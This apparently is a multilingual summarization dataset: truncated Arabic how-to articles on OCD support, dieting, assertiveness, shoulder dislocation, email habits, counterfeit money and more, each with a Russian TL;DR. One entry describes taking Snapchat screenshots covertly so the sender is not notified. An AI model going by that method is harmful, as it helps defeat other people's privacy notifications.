من المهم جدًا عدم الخلط بين الدعم والتمكين، فالتمكين يعني التساهل لوسواسه أو مساعدته على الاستمرار في الأفعال القهرية والطقوس. يمكن أن يؤدي هذا إلى اشتداد أعراض الوسواس؛ لأنك تعزز من هذه السلوكيات القهرية. الدعم لا يعني تبنّي الأفعال القهرية للموسوس، بل التحدث معه عن مخاوفه وتفهّم حاله حتى لو كنت تجد ما يفعله غريبًا. ليس من النادر أن تجد أسر مصابين بالوسواس القهري تكّمنهم أو حتى تقلّد بعض السلوكيات كمحاولة لحماية المصاب وإعانته على الانتهاء طقوسه. على سبيل المثال، إذا كان صديقك أو أحد أفراد عائلتك لديه قهر خاص بفصل أنواع الأطعمة المختلفة في طبقه، فقد تبدأ في فصلها له. في تصورك تظن هذا دعمًا ومساعدة، لكن في الحقيقة أنت تفعل العكس تمامًا؛ فسلوكك هذا يمكّن القهر ويعزز منه. وحتى لو كانت نيتكم تحمّل جزء من العبء عنه، فقد تبدأ الأسرة كلها أو محيط الأصدقاء في "المعاناة من الوسواس القهري" حين يشارك الجميع في الأفعال القهرية.  مساعدة المحبوب في قهره يوصل رسالة ضمنية مفادها أن مخاوفه غير المنطقية مبررة فعلًا وأنه ينبغي الاستمرار في أفعاله وسلوكياته القهرية. مهما صعب الأمر فحاول دائمًا تجنب تمكين محبوبك؛ لأن هذا يزيد أعراضه. لا تحاول باستمرار مساعدة قريبك أو صديقك على تجنب ما يزعجه بالذات إذا كان هذا الشيء محوريًا في حياته. هذا نوع آخر من التمكين أو التساهل مع الأفعال القهرية. على سبيل المثال: لا تساعده على تجنب الأسطح المتسخة عن طريق تجنب الأكل خارج المنزل. لا تفعل ما يسمح لمحبوبك بالانخراط في السلوكيات العَرَضية. كمثال: أن تشتري له المواد الذي يريدها للتنظيف الموسوس. إذا غيرت من روتينك تكيفًا مع أعراض الوسواس، فقد يؤدي هذا إلى تغيير سلوك الأسرة كلها مواءمة للسلوكيات الأساسية للوسواس.  مثلًا: الانتظار وقت العشاء حتى ينتهي الموسوس من طقسه. مثال آخر هو أن تبذل مجهودًا مخصوصًا لأداء كم أكبر من أعمال المنزل لأن وسواس المصاب يصعّب عليه الانتهاء من مهامه في وقت معقول. إذا كنت مشاركًا في استمرار وسواس محبوبك وأصبحت تدرك ذلك، فانسحب بلطف من تلك السلوكيات المساعدة والتزم بانسحابك.  فسّر له أن مشاركتك تزيد المشكلة سوءًا. توقع أن يستاء من هذا، وتعامل مع مشاعرك أنت الناتجة من استيائه. كن قويًا! على سبيل المثال: بالنسبة لعائلة تتنظر الموسوس حتى يفرغ من طقوس ما قبل الطعام، قد تتضمن خطة العمل ألا ينتظروا بعد الآن عن تناول الوجبة وألا...

TL;DR in Russian:

Не путайте дозволенность с поддержкой. Не приспосабливайтесь к поведению своего близкого человека, чтобы оно не укоренилось. Сопротивляйтесь поддерживать замкнутое поведение. Старайтесь не способствовать симптоматическому поведению/мании. Не изменяйте порядка своих повседневных дел. Составьте план действий, чтобы помочь себе и остальным прекратить подстраиваться под симптомы ОКР.


من المهم قياس حجم حصتك من الطعام عند إتباع أي نظام لخسارة الوزن، فالإفراط في الطعام حتى وإن كان صحيًا يمكن أن يزيد وزنك.  إنقاص حصتك من الطعام طريقة بسيطة لإنقاص إجمالي سعراتك الحرارية، مما ينتج عنه خسارة الوزن.  عند التخطيط لوجباتك الرئيسية والخفيفة عليك اتباع هذه الأحجام القياسية: حصة الفاكهة تعادل نصف كوب أو ثمرة فاكهة صغيرة وحصة الحبوب تعادل نصف كوب وحصة البروتين خالي الدهون 85 جرام أما حصة منتجات الألبان قليلة الدسم تعادل كوب من الزبادي أو اللبن أو 55 جرام من الجبن، إن كنت ستتناول بعض الخضراوات فإن حصة الخضراوات تساوي كوب واحد أو كبين من الخضراوات الورقية. إن حساب السعرات الحرارية طريقة أخرى لخسارة الوزن، حيث يمكنك حينها اقتطاع بعض السعرات من كل وجبة رئيسية وخفيفة لخسارة الوزن، ويمكنك أيضًا استبدال الأطعمة عالية السعرات بأخرى قليلة السعرات حتى تقلل من إجمالي سعراتك الحرارية اليومية.  يشير خسارة الوزن بأمان إلى خسارة 450-900 جرام أسبوعيًا، وبمفهوم السعرات يعني اقتطاع حوالي 500 سعر حراري يوميًا.  إن اقتطعت من سعراتك أكثر من 500 سعر حراري أو تناولت أقل من 1200 سعر، فأنت عرضة للإصابة بسوء تغذية، كما أن خسارة الوزن من خلال أنظمة منخفضة جدًا في السعرات لن يدوم طويلًا. فالفاكهة والخضراوات هما المصدر الرئيسي للفيتامينات والمعادن ومضادات الأكسدة. وتجنب أو الإقلال من الخضراوات يقلل من العناصر الغذائية التي تحصل عليها من خلال طعامك، لذلك عليك التركيز على تناول كمية أكبر من الفاكهة لتعويض هذه العناصر الغذائية.  يوصى بتناول نحو حصتين من الفاكهة يوميًا، أي ثمرتين من الفاكهة أو كوبين.  يقدم لك كل لون في الفاكهة عناصر غذائية مختلفة، لذا اختر مجموعة متنوعة من الفاكهة ذات الألوان المختلفة كل يوم للحصول على أكبر قدر من العناصر الغذائية المختلفة.  تناول أيضًا الفاكهة عالية القيمة الغذائية. بالرغم من أن جميع الفاكهة خيارات صحية إلا أن بعضها يقدم عناصر غذائية أعلى من الأخرى، مثال على ذلك: البرتقال والجريب فروت والتوت الأسود والفراولة. أصبحت العصائر أكثر الطرق شيوعًا بين الناس لتناول الفاكهة والخضراوات. إن لم تكن من محبي الخضراوات الطازجة أو المطبوخة، أضف العصير إلى مائدتك بكثرة.  تتوفر عصائر الخضراوات في محلات البقالة، ابدأ بتجربة عدة ماركات لمعرفة أيهم أفضل في المذاق. ويمكنك إضافة حصة إلى حصتين من عصير الخضراوات إلى وجبتك...

TL;DR in Russian:

Измерьте размеры порций. Считайте калории. Ешьте 2-3 порции фруктов каждый день. Делаете или покупайте соки. Делайте смузи. Употребляйте диетический белок и цельные злаки. Принимайте добавки. Пробуйте новые овощи. Добавляйте овощи в разные блюда.


من المهم لك أن تفهم أولًا أسلوبك الشخصي في التعامل قبل أن تقرر أنك ستغيره. إذا كنت بالفعل حازمًا في معظم نواحي حياتك، فربما تحتاج فقط لإجراء بعض التعديلات البسيطة في أسلوبك. في النهاية هناك حد فاصل بين الحزم والعدوانية. مع ذلك إذا وجدت أنك ينطبق عليك بعض الحالات الآتية، فذلك قد يعني أنك سلبيًا:  لا تنطق برأيك. تظل هادئًا أغلب الوقت. تقول نعم بينما ترغب حقًا في الرفض. تقبل تحمّل المزيد من المسئوليات في حين أنك بالفعل لديك الكثير لتفعله. عندما تجد نفسك لا تدافع عن رأيك وتعاني كثيرًا لكي تقول لا للآخرين، فيمكن أن يكون ذلك بسبب خوفك من عدم إرضاء الآخرين. عندما تجد نفسك سلبيًا في أحد المواقف توقّف واسأل نفسك ما الذي تخشاه الآن. تذكر ان الطريقة الوحيدة للتغلب على الخوف تكون بالاعتراف بوجوده أولًا.  قولك لنفسك أنك "لا بد" أن تحصل على موافقة شخص آخر فذلك يعد نوعًا من التشويه المعرفي، فما يحدث عندما تقول لنفسك أنك "لا بد" و"يجب عليك" أن تفعل الأشياء، هو أنك تبدأ في تكليف نفسك بطلبات غير عقلانية. رأي الناس لا يعبر عن قيمتك الذاتية، إنما هو في الواقع يعكس المشاكل التي لدى الشخص الآخر. خوفك من استنكار الآخرين ما يحمل بين طياته خوفًا من الرفض. بمعنى أنك يمكن أن تكون سلبيًا في بعض المواقف نتيجة لخوفك من العواقب المحتملة المترتبة التي ستحدث إذا كنت حازمًا. أفضل طريقة لتجاوز خوفك ولكي تكون حازمًا أكثر؛ هي التفكير في مدى احتمالية حدوث تلك العواقب وكيفية التعامل معها في حال وقوعها. إليك بعض الأسئلة التي يمكن أن تسألها لنفسك لتساعدك في هذا الأمر:  ما الذي أخشى أن يحدث إذا كنت حازمًا أكثر؟ ما الدليل الذي لديّ على أن الطرف الآخر سيرفض؟ هل سبق له مثلًا أن فعل ذلك من قبل؟ ماذا لديّ من الأدلة على أن الشخص الآخر لن يرفض؟ في اعتقادي ما الذي سيحدث؟ ما الذي يمكنني فعله حتى أحمي نفسي من الرفض؟ أحيانًا قد يصعب عليك أن تكون حازمًا لأنك تخشى أنك بذلك تجرح مشاعرك الشخص الآخر. مع ذلك فالناس يمكن أحيانًا أن يسيئوا تفسير مقاصدك ونواياك حتى لو كان حزمك له ما يبرره. لا ينبغي عليك أن تفعل شيئًا لا ترغب به أو تتخلى عن رغباتك خشية أن تجرح مشاعر شخصٍ آخر. كونك حازمًا لا يعني أنك بلا قلب. ينبغي دائمًا أن تحاول أن تكون حازمًا لكن مع الحد من أذية مشاعر الآخرين قدر إمكانك. مع ذلك ينبغي أن تضع في ذهنك أن ذلك ليس ممكنًا دائمًا. يمكن أن تجد نفسك أحيانًا...

TL;DR in Russian:

Оцените характер вашего взаимодействия с людьми. Проанализируйте свой страх. Оцените вероятность того, что ваш страх станет реальностью. Освободитесь от ответственности за чувства других людей. Отпустите чувство вины. Извлекайте уроки из своей покорности.


من المهم للغاية أن تمتلك ملفًا تعريفيًا جيدًا خاصًا بتصميماتك من أجل التقديم على فرص الوظائف والتدريب. يعمل الملف التعريفي على تسويقك وتسويق أعمالك للجهات المهتمة. يجب أن تعرض من خلاله أفضل أعمالك وتصميماتك وأن تُبرز مهاراتك وقدراتك الإبداعية. استخدم غلافًا عالي الجودة، فكما يُقال في المثل العامي الشائع "يُفهم الجواب من عنوانه" والشكل الأمثل للغلاف الخاص بملفك التعريفي يترك انطباعًا أوليًا جيدًا لدى الطرف الآخر ويُظهر له احترامك لنفسك ومهنتك وحرصك على الالتزام بدرجة عالية من الاحترافية. تأكد من إدراج ما يلى في ملفك التعريفي:   اسكتشات مرسومة يدويًا لتصميماتك أو صورًا فوتوغرافية لها. تصميمات مرسومة باستخدام الكمبيوتر. السيرة الذاتية. صفحات الأفكار (مجموعة من الرسومات الصغيرة المُجمعة في صفحة واحدة تشرح قصة التصميم ومصادر الإلهام التي تشكل التصميم بناءً عليها). صفحات عرض الألوان والأقمشة والأنسجة. أي إضافات أخرى تُعبر عما تقدر على القيام به أو ما يمكن أن يتطور مستواك ويصل إليه من مهارات.

TL;DR in Russian:

Соберите портфолио ваших работ.


من المهم للغاية الإسراع للوصول لطبيب (أو شخص لديه تخصص طبي مناسب لحالتك) في حال انخلاع الكتف، لأن العضلات والأوتار والأربطة المحيطين بالإصابة إذا ثبتوا على هذا الوضع سيصبح من الصعب جدًا أن تعاد رأس عظمة العضد لمكانها من غير تدخُّل جراحي. على الأرجح سيقوم معظم الأطباء بعمل أشعة سينية لكتفك حتى يستبعدوا احتمالية وجود كسر قبل كل شيء.  إذا لم يكن هناك شيئًا مكسورًا أو ممزقًا بدرجة كبيرة، سيكون بمقدور الطبيب أن يعالج كتفك باستخدام حركة ردّ مغلق (أي بدون تدخُّل جراحي) لمفصل كتفك، لكنك ستحتاج أولًا لمهدئ أو مُرّخي عضل قوي أو مخدر (بنج) قبل المعالجة اليدوية لأن الألم سيكون شديدًا. توجد طريقة معروفة لإرجاع المفصل تسمى أسلوب هينيبين (Hennepin maneuver) وخلالها يتم لف الكتف للخارج حتى يُعاد الفصل لمكانه. سيجعلك الطبيب تستلقي على ظهرك ويثني مرفقك بزاوية 90 درجة ثم يلف كتفك باتجاه الخارج تدريجيًا (دوران خارجي). مع القليل من الدفع أثناء ذلك، سيُّرد المفصل لمكانه. هناك عدد من أساليب الرد المختلفة التي تُستَعمَل من قِبَل الأطباء غير الطرق المذكورة هنا؛ يتوقف اختيار الطريقة بناءً على ما يشعر الطبيب بالاطمئنان لتطبيقه. إذا كان كتفك ينخلع بشكل متكرر (بسبب تشوه عظمي أو تراخي الأربطة) أو إذا وُجد أي كسر في العظام أو تلف في الأعصاب و/أو الأوردة الدموية، ستكون بحاجة للخضوع لعملية جراحية لإصلاح الضرر ولإعادة مفتوحة للمفصل. أحيانًا يكون التدخُّل الجراحي هو أفضل الخيارات لأنه يُمكّن من إصلاح الإصابات الداخلية وتثبيت المفصل وهو ما يقلل احتمالية تكرُّر الخلع مستقبلًا.  هناك الكثير من العمليات الجراحية المختلفة التي يمكن أن تُجرى لردّ الكتف ويتحدّد الأسلوب المستخدم على حسب نوع الضرر الحاصل ومدى قوته وعلى حسب مدى نشاط المريض أو أسلوب حياته. تقترح بعض الدراسات أن الردّ الجراحي "المفتوح" للمفصل هو أفضل خطوة يمكن اتخاذها بالنسبة للأشخاص البالغين النشيطين الذين لم تتجاوز أعمارهم 30 سنة، بسبب ما لوحظ من انخفاض معدلات تكرُّر الخلع بعد العمليات الجراحية وتحسُّن جودة حياة الشخص من حيث قدرته على استخدام ذراعه. سواءً عولجت بطريقة ردّ يدوية مغلقة أو بإرجاع جراحي مفتوح، يجب أن تُحال لطبيب علاج طبيعي كي تقوّي مفصل كتفك. يستطيع أخصائيو العلاج الطبيعي ومقومو العظام والمعالجون الرياضيون أن يعلموك تمرينات تمدد معينة حتى يستعيد كتفك كامل قدرته ونطاقه...

TL;DR in Russian:

Покажитесь врачу как можно скорее. Подготовьтесь к возможной операции. Восстановление плечевого сустава.


من المهم معرفة الحدث أيًا كان نوعه، سواءً كان حفلة زفاف أم تخرجًا أم غيره. يحدد نوع الحدث نوع الجو الذي يجب أن تخلقه في المكان. يجب أن تعلم ما سيجري وما يجب أن تتحدث عنه وما بعد ذلك حتى تكون مقدمًا ناجحًا.  يمكنك الالتقاء بمنظمي الحدث وتصفح الخطة الموضوعة ومراجعة مسار الحدث بالتفصيل. مقدم الحدث مسئول عن خلق الجو المطلوب طوال الوقت، والذي يختلف على حسب نوع الحدث بالرغم أن معظم الأحداث التي يتم تعيين مقدم بها عادةً ما تبحث عن المتعة والجو المرح. تتضمن مسئولياتك الأساسية ما يلي:  تسيير الحدث والربط بين فقراته المختلفة. جذب انتباه الجمهور باستمرار والحرص على إمتاعهم. مساعدة الجمهور على الشعور بأنك تحترمهم وتتفاعل معهم طوال الحدث. مساعدة المتحدثين على الشعور بالتقدير. سريان الحدث في وقته المحدد. إعلام الجميع بكل جديد يخص الحدث. يجب أن يتحلى المقدم بحسٍ عالٍ من الفكاهة والقدرة على التحدث أمام الجمهور والتفاعل معه.يعني ذلك أنك يجب أن تكون مستعدًا للارتجال حتى ترد جيدًا على كل ما يحدث فجأة. على سبيل المثال قد تحتج لإمتاع وإضحاك الجمهور قليلًا في حين انتظار المتحدث التالي أن يخرج من دورة المياه أو أن يتم استبدال الميكروفون المعطل.   تذكر أن تبتسم، فالابتسامة تنشر البهجة والسعادة في الحدث وتجعلك تبدو متحمسًا. ضع في اعتبارك أن كونك المقدم لا يعني أنك بطل العرض، فيجب عليك أن تجعل الآخرين يشعرون أنهم نجوم العرض. تواصل مع المتحدثين الأساسيين لمعرفة معلومات عامة عنهم ثم استخدمها للاستعداد لتقديمهم في الحدث. هذا البحث عن خلفيات المتحدثين سيساعدك في التقديم الشخصي الجيد لهم.   اعرف ما إذا كان هناك أي ضيوف مميزين في الجمهور يجب عليك أن تلقي التحية عليهم خلال الحدث.  احرص على معرفة اسم ولقب كل المتحدثين حتى تنادي عليهم باسمهم عندما يحن وقت إدلائهم بخطابهم. قم بوضع أو مراجعة خطة الحدث وخطط له دقيقةً بدقيقة. ضع في اعتبارك وقت الطلوع والهبوط من على المنصة ووقت تقديم الضيوف والخطابات وشكر الضيوف.  يمكنك عمل سكريبت تقريبي لما ستقوله طوال الليلة، ويمكنك حفظ ذلك والاحتفاظ بنوتات صغيرة أو وضع مخطط تتبعه طوال الحدث.  من الجيد أن تخبر منظم الحدث بصفتك المقدم أنك ستأخذ أوامرك من شخصٍ واحد فقط، فإذا طرأت أي تغييرات على برنامج الحدث فيجب أن يوافق هذا الشخص عليها أولًا حتى تسمح أنت بحدوثها. يؤدي ذلك إلى تقليل اللخبطة وسوء التواصل خلال الحدث...

TL;DR in Russian:

Определите характер мероприятия. Познакомьтесь со своими обязанностями. Знайте, что от вас ожидают другие. Проведите исследование. Будьте организованы.


من الوارد جدًا قضاء الكثير من الوقت في الاطلاع على رسائل البريد الإلكتروني خلال اليوم، ويعدّ ذلك مشكلة حقيقية في بيئة العمل على وجه الخصوص. بسبب ذلك، يفضّل تغيير عاداتك في تصفّح البريد الإلكتروني لتقليل الوقت المستقطع للتعامل مع رسائل البريد الإلكتروني. حدّد أوقاتًا مخصّصة لذلك بحيث تسمح لنفسك بتفقّد البريد الإلكتروني 2-3 مرات قصار خلال اليوم فقط.  يمكنك مثلًا تحديد أوقات تفقّد البريد الإلكتروني لتكون 9 صباحًا، و 1.30 مساءً، و 5 مساءً بحيث تقضي 10 دقائق للاطلاع على البريد في كل مرّة. إن كنت تمتلك شركة أو تدير طاقم عمل، يمكنك حينها فرض هذه القاعدة على الموظفين لزيادة الإنتاجية. أحد العادات السيئة التي يتبنّاها الكثير من الأشخاص هي الرد على رسائل البريد الإلكتروني ليظهروا بمظهر الشخص المؤدّب. يتعامل أولئك الأشخاص مع رسائل البريد الإلكتروني بنفس طريقة تعاملهم مع المحادثات العادية، إلّا أنّ ذلك يؤدي إلى تلقّي المزيد من الرسائل. لا تشعر بأنك مضطر للرد على كل الرسائل التي تتلقاها بردود على شاكلة "شكرًا" و "طاب يومك". بشكل عام، الأمر الوحيد الذي يتوجّب عليك الالتزام به هو إعلام الشخص الآخر بتلقيك لرسالته إن كان ذلك ضروريًا. إن أرسل لك شخص ما عملًا ورقيًا مثلًا، فالأفضل هو إرسال الأوراق من جديد بعد ملئها، أو الرد برسالة تُعلم فيها الشخص بالوقت الذي سترسل فيه الأوراق له من جديد. رسائل البريد الإلكتروني مصمّمة للتواصل السريع لمرة واحدة، حيث تُستخدم رسائل البريد الإلكتروني في المواقف التي لا تحتاج فيها لأكثر من 2-3 رسائل لإنهاء المحادثة. إن كنت بحاجة لإرسال الكثير من الرسائل أو كنت تمتلك أكثر من محادثة واحدة، فالاعتماد على خيارات أخرى كمقابلة الشخص أو محادثته على الهاتف سيوفّر الكثير من الوقت ويقلّل من عدد الرسائل التي يتوجّب عليك مُطالعتها. إن كنت ترغب بتقليل الوقت الذي تقضيه للتعامل مع بريدك الإلكتروني وتقليل كمية الرسائل التي يتوجّب على الآخرين قراءتها، جرّب تحديد حدّ لعدد الرسائل التي ترسلها يوميًا. سيدفعك ذلك للتفكير قليلًا بأهمية الرسائل التي ترسلها، وما إن كنت بحاجة لإرسالها أم لا.  إن فكرت في أنك مضطر لإرسال رسالة لمديرك لاحقًا، لن تفكّر حينها في إرسال رسائل غير ضرورية لأشخاص آخرين. إن كنت ترغب بإرسال رسائل جماعية لأشخاص كُثُر، هناك طرق أفضل لفعل ذلك. جرّب ترك ملاحظة على الثلاجة ليقرأها الجميع مثلًا.

TL;DR in Russian:

Установите время для проверки электронной почты. Не пишите письма просто из вежливости. Используйте другие средства связи. Ограничьте количество писем, отправляемых ежедневно, если вы хотите сэкономить время на работу с электронной почтой и уменьшить количество электронных писем.


من باب التزام الحذر، أرسل منشور Snapchat لنفسك، وجرّب هذه الطريقة على منشورك أولًا حتى تتأكد من نجاحها قبل تجربة ذلك مع منشورات شخص آخر. يمكن استخدام هذه الطريقة على القصص أيضًا، ولكن اختبرها على قسم القصص الخاص بك أولًا. يمكن أن تنجح هذه الطريقة مع منشورات Snapchat وليس القصص (Stories) مع بعض الأشخاص. يقوم وضع الطيران بتعطيل اتصالك بالإنترنت، ويؤدّي ذلك إلى منع تطبيق Snapchat من إرسال تنبيه للشخص الآخر.  جهاز Apple: مرّر أصابعك نحو الأعلى من الجهة السفلية من الشاشة وانقر على رمز وضع الطيران (airplane)، أو اتبع الإرشادات التالية.  جهاز Android: على معظم الأجهزة، توجّه إلى الإعدادات Settings، ثم انتقل إلى قسم الشبكات والاتصال اللاسلكي (Wireless and Networks) وانقر على خيار المزيد More، ثم فعّل الخيار أو المفتاح الموجود إلى جوار وضع الطيران بعد تفعيل وضع الطيران، من المفترض أن يعرض تطبيق Snapchat شريطًا باللون الأحمر أعلى الشاشة: "Could not refresh. Please try again." إن لم تتمكن من رؤية هذا الشريط الأحمر، فإنك لا زلت متصلًا بالإنترنت. تأكد من أن وضع الطيران مفعّل، ومن أن الاتصال اللاسلكي معطّل. افتح المنشور الذي ترغب بالتقاط صورة له. تذكّر: يُنصح بتجربة ذلك مع منشوراتك أولًا. يمكن تنفيذ ذلك على معظم الأجهزة من خلال الضغط على زر التشغيل والزر الرئيسي (Home) في نفس الوقت.  إن لم ينجح ذلك، اطّلع على هذه التعليمات الخاصة بأجهزة iPhone و Android. ابتداءً من 2 يوليو 2015، لا حاجة للنقر باستمرار على الصورة عند التقاط لقطة الشاشة. انقر على أيقونة الدولاب الموجودة أعلى الجهة اليمنى لفتح قائمة إعدادات التطبيق (Settings). توجّه نحو أسفل القائمة واختر خيار تسجيل الخروج Log out. سيستمر التطبيق بالعمل في الخلفية حتى بعد العودة إلى الشاشة الرئيسية، ويتوجب عليك إغلاقه تمامًا لتجنّب إرسال التنبيه:  جهاز Apple: انقر نقرًا مزدوجًا على الزر الرئيسي (Home)، وحرّك إصبعك من الجهة اليسرى إلى اليمنى أو العكس على صورة التطبيق لإغلاقه.  جهاز Android: اضغط على زر التطبيقات المستخدمة حديثًا أسفل الشاشة وقم بإغلاق التطبيق عن طريق تحريكه نحو الجهة اليمنى. إن لم تكن تمتلك هذا الزر، أو إن كان التطبيق يقوم بإرسال التنبيهات على الرغم من ذلك، جرّب أحد الطرق المذكورة هنا. انتظر لبضع ثوانٍ على الأقل قبل الاستمرار. لن تنجح الطريقة إن اتصلت...

TL;DR in Russian:

Для начала поэкспериментируйте с собственным Snapchat, то есть отправьте Snapchat самому себе и используйте его, чтобы быть уверенным, что этот метод работает. Включите автономный режим. Включив автономный режим, в верхней части экрана отобразится красная строка со следующем сообщением: Откройте Snapchat, скриншот которого вы хотите сделать. Сделайте скриншот. Выйдите из Snapchat. Закройте приложение Snapchat. Дождитесь завершения работы приложения. Выключите автономный режим в настройках устройства. Откройте Snapchat.


من شأن قراءة كتاب أو مشاهدة فيلم أن تكون طرق مثالية لكي تنس همومك، اختر قصة مؤثرة من النوع الذي تُفضله.   انتقِ كتابًا (أو فيلمًا) يسهل مُتابعته، بهذه الطريقة ستحظى بوقت أسهل لتندمج في السرد. روايات الشباب من شأنها أن تكون خيارات جيدة لعدة أسباب منها: (1) سهولة قراءتها (2) العديد منها يأتي في سلاسل (3) العديد منها يُنتج على هيئة كتب وأفلام. اطّلع على كتب مثل "سلسلة ما وراء الطبيعة" و"هارى بوتر". يمكنك بسهولة أن تبعد عنك الأفكار المزعجة عن طريق السفر ذهنيًا إلى "مكانك السعيد"، ربما يكون مكان سافرت إليه بالفعل ذات مرة، أو مكان لم تذهب إليه قط، السفر إلى مكانك السعيد لبضع دقائق طريقة رائعة لكي تُريح بالك وتنسى ما يقلقك.  أغلق عينيك. أرخِ عضلاتك. فكّر في مكانك السعيد. استوعب من التفاصيل قدر ما تستطيع: ماذا تسمع؟ ماذا ترى؟ كيف تبدو الروائح؟ ما هو إحساس الهواء على بشرتك؟ اقضِ بعض الوقت هنا. كرر هذا الروتين أي عدد من المرات تحتاجه حتى تشعر بالراحة. الموسيقى لها أثر هام على المشاعر الإنسانية، كما أن الأغاني الحزينة من شأنها أن تجلب الحُزن، فإن الأغاني السعيدة يمكنها أن تُبقى المشاعر السلبية بعيدًا، انسَ همومك عن طريق سماع بعض الأغاني المُبهجة، إذا قُمت بتشغيلها بصوت عالِ بما فيه الكفاية، أو قم بالغناء بالتزامن معها، وسوف تساعدك على نسيان همومك. يمكنك مُضاعفة التأثير المُدمر للتوتر عبر الوقوف والرقص. إذا رغبت أن تبعد تفكيرك عن المشاكل، اتصل بأحد أصدقاءك، وركّز في المحادثة على صديقك، اسأله وحاول أن تبدي اهتمامًا بالأجوبة، بإمكان الدردشة مع صديق أن تُحسّن مزاجك، وتشتت انتباهك عن مشاكلك.   اسأله عن عمله. اسأله عن أي تغييرات حديثة في حياته. اطلب منه أن يحكى لك عن تجربة ممتعة مَرَ بها حديثًا. حاول أن تغرِق الأفكار السلبية بالأفكار السعيدة، فكّر في العديد من الأفكار السعيدة حتى تزول كل الهموم عن بالك  ابدأ بالإشادة بالأشياء التي تحبها في نفسك (حتى الأشياء الصغيرة جدًا)، وانتقل إلى الإشادة بالأشياء التي تحبها في حياتك بشكل عام.   على سبيل المثال، يمكنك أن تُفكر في أفكار من قبيل، "لديّ شعر جميل" أو "أنا لا أمرض أبدًا" أو "أنا أُجيد لعب كرة السلة". على سبيل المثال، يمكنك أن تُفكر في أفكار من قبيل: "أنا أعيش في مدينة جميلة"، "أبى وأمي لا يزالان على قيد الحياة"، "أنا لن أجوع ابدًا". المشكلات عادةً ما تظهر بوضوح عندما نركز...

TL;DR in Russian:

Погрузитесь в вымышленный мир. Отправляйтесь в “приятное место”. Послушайте музыку. Позвоните другу. Думайте о хорошем. Практикуйте осознанность.


من طرق تحفيز محبوبك ليطلب العلاج أن تساعده في موازنة منافع وأضرار التغير. إذا لم يزل الشخص قليل العزم على العلاج، فجرب بعض الآتي:  أحضر مواد تعليمية إلى المنزل. شجع الشخص بذكر نفع العلاج. ناقشا الطرق التي تواءمتم بها مع السلوكيات الوسواسية. اقترح الانضمام لمجموعة دعم. دعمك أحد أهم جوانب مساعدة المصاب بالوسواس؛ لأنه سيرفع عن كاهله بعض العبء ويساعده على إيجاد أفضل علاج متاح. أكد على مناقشة خيارات العلاج مع محبوبك بهدف طرحها كموضوع للمناقشة.  تأكد من أن يعلم محبوبك أن مرض الوسواس قابل جدًا للعلاج وأن أعراضه وضيقه يمكن التقليل منهم كثيرًا. يمكنك سؤال طبيب عن معلومات أكثر عن علاج اضطراب الوسواس القهري وكذلك عن مختصي الطب النفسي في منطقتك. لا تفرض عليه شيئًا، بل تناقش معه في طرق العلاج المختلفة وعن أيها أنسب لحالته هو. من هذه الطرق العلاج الدوائي؛ والعلاج السلوكي المعرفي؛ والدعم والتثقيف الأسري. أظهرت أنواع متعددة من الأدوية نجاحًا في علاج الوسواس القهري وتعمل على التحكم في بعض الأعراض، لكنها لا تشفي من المرض. العلاج السلوكي المعرفي؛ والعلاج بالتعريض ومنع الاستجابة هما الطريقتان المختارتان في العلاج، سواء مع الدواء أو بدونه. يفيد التعريض ومنع الاستجابة في تحسين أعراض الوسواس القهري، فهو يساعد المريض بالتدريج على الامتناع عن القيام بالطقوس. قد يفيد العائلة كلها العلاج العائلي، حيث يوفر مكانًا آمنًا لمناقشة الأحاسيس وتقديم الدعم. للوصول للعلاج الأكثر فعالية، ينبغي الاستعانة بطبيب نفسي (طب) أو معالج نفسي (علم نفس) أو مرشد نفسي مرخص. أظهرت دراسات أن دخول العائلة في العلاج يساعد على تقليل أعراض الوسواس. إذا أمكن، استشر من يتخصص في الوسواس القهري أو على الأقل لديه خبرة في معالجة هذا الاضطراب. عند اختيار الطبيب، تأكد من السؤال عن خبرته في الوسواس القهري. تظهر دراسات أن اشتراك العائلة في عملية التدخل العلاج السلوكي للوسواس يساعد على تقليل أعراضه.  للعلاج العائلي أن يشجع على التواصل البنّاء وتقليل الاستياء.  يمكنك مساعدة محبوبك على كتابة يومياته وتدوين أفكاره وهو ما قد يساعد على متابعته الوساوس والأفعال القهرية. على الرغم من أن فكرة تناول محبوب لدواء نفسي قد تقلق البعض، احرص على أن تدعم تقييم الطبيب. لا تنتقص من التعليمات الخاصة بالدواء الذي وصفه الطبيب. لا تحاول التحكم في محبوبك. أقرّ بأنك فعلت ما بوسعك وأنْ ليس بإمكانك...

TL;DR in Russian:

Стимулируйте человека лечиться. Обсудите варианты лечения, чтобы предложить возможность профессиональной помощи. Чтобы получить эффективное лечение, сопровождайте своего близкого человека к психиатру или психологу. Вовлекайте членов семьи в процесс лечения. Следите за тем, чтобы лекарства принимались, как было предписано. Двигайтесь дальше по жизни, если ваш близкий человек отказывается от лечения.


من غير القانوني حيازة أو إنتاج أو استخدام العملات المالية المزيفة؛ إذا تم الإمساك بك ونجح المدعي العام في إثبات النية المسبقة للاحتيال، فإن القوانين الجنائية لمختلف الدول تنص على توقيع عقوبة قاسية عليك، قد تصل إلى 20 عام من السجن.   إذا تم تمرير أحد العملات المزيفة إليك، فامتنع عن محاولة تمريرها بدورك خلال معاملة مالية لطرف ثالث، وتأكد من اتباع التعليمات التالية. تفقد الأوراق المالية في حالة شعورك بالشك. وتذكر جيدًا مصدر هذه الأموال بحيث تقدر على توجيه المساءلة إليه.   في حالة حصولك على أموال مزيفة، فيجب عليك أن تقوم بتقديمها إلى الجهات الحكومية المالية أو القضائية المختصة. عدم الإبلاغ عن الأوراق المالية المزيفة، ومحاولة استخدامها في التعاملات المالية، يجعلك عرضة للإبلاغ عنك من شخص آخر بسبب تعاملك بعملات مالية مزيفة. في حالة تمكنت من ذلك، قم بتعطيل الشخص الذي يمنحك الأموال المزيفة بحيث تقدر على تذكر مظهره وملامحه قدر المستطاع. لاحظ كذلك أي صحبة أو أفراد متواطئين معه. وقم بتسجيل أي شيء دال على هويته، رقم البطاقة أو رقم لوحة السيارات أو ما شابه.   الشخص الذي يمنحك الأموال المزيفة قد لا يكون هو المزور الأصلي. قد يكون مجرد مواطن بريء تعرض إلى الاحتيال وتم تمرير الأموال المزيفة إليه. قد يكون من المستحيل في بعض الحالات أن يتم ربط العملة الورقية بالشخص الذي قام بدفعها إليك، لذلك قد يكون من المفيد أن تقوم بفحص العملة الورقية في اللحظة التي يتم تقديمها إليك في الحال. على سبيل المثال، العديد من  الصرافين في المحلات الكبيرة يقومون بفحص الأوراق المالية من الفئات الكبيرة قبل تحصيلها. بهذه الطريقة، يقدر الصراف على الربط بين العملة المزورة ومصدرها (الشخص الذي يحاول الدفع من خلالها). قم بالإبلاغ الفوري في قسم الشرطة 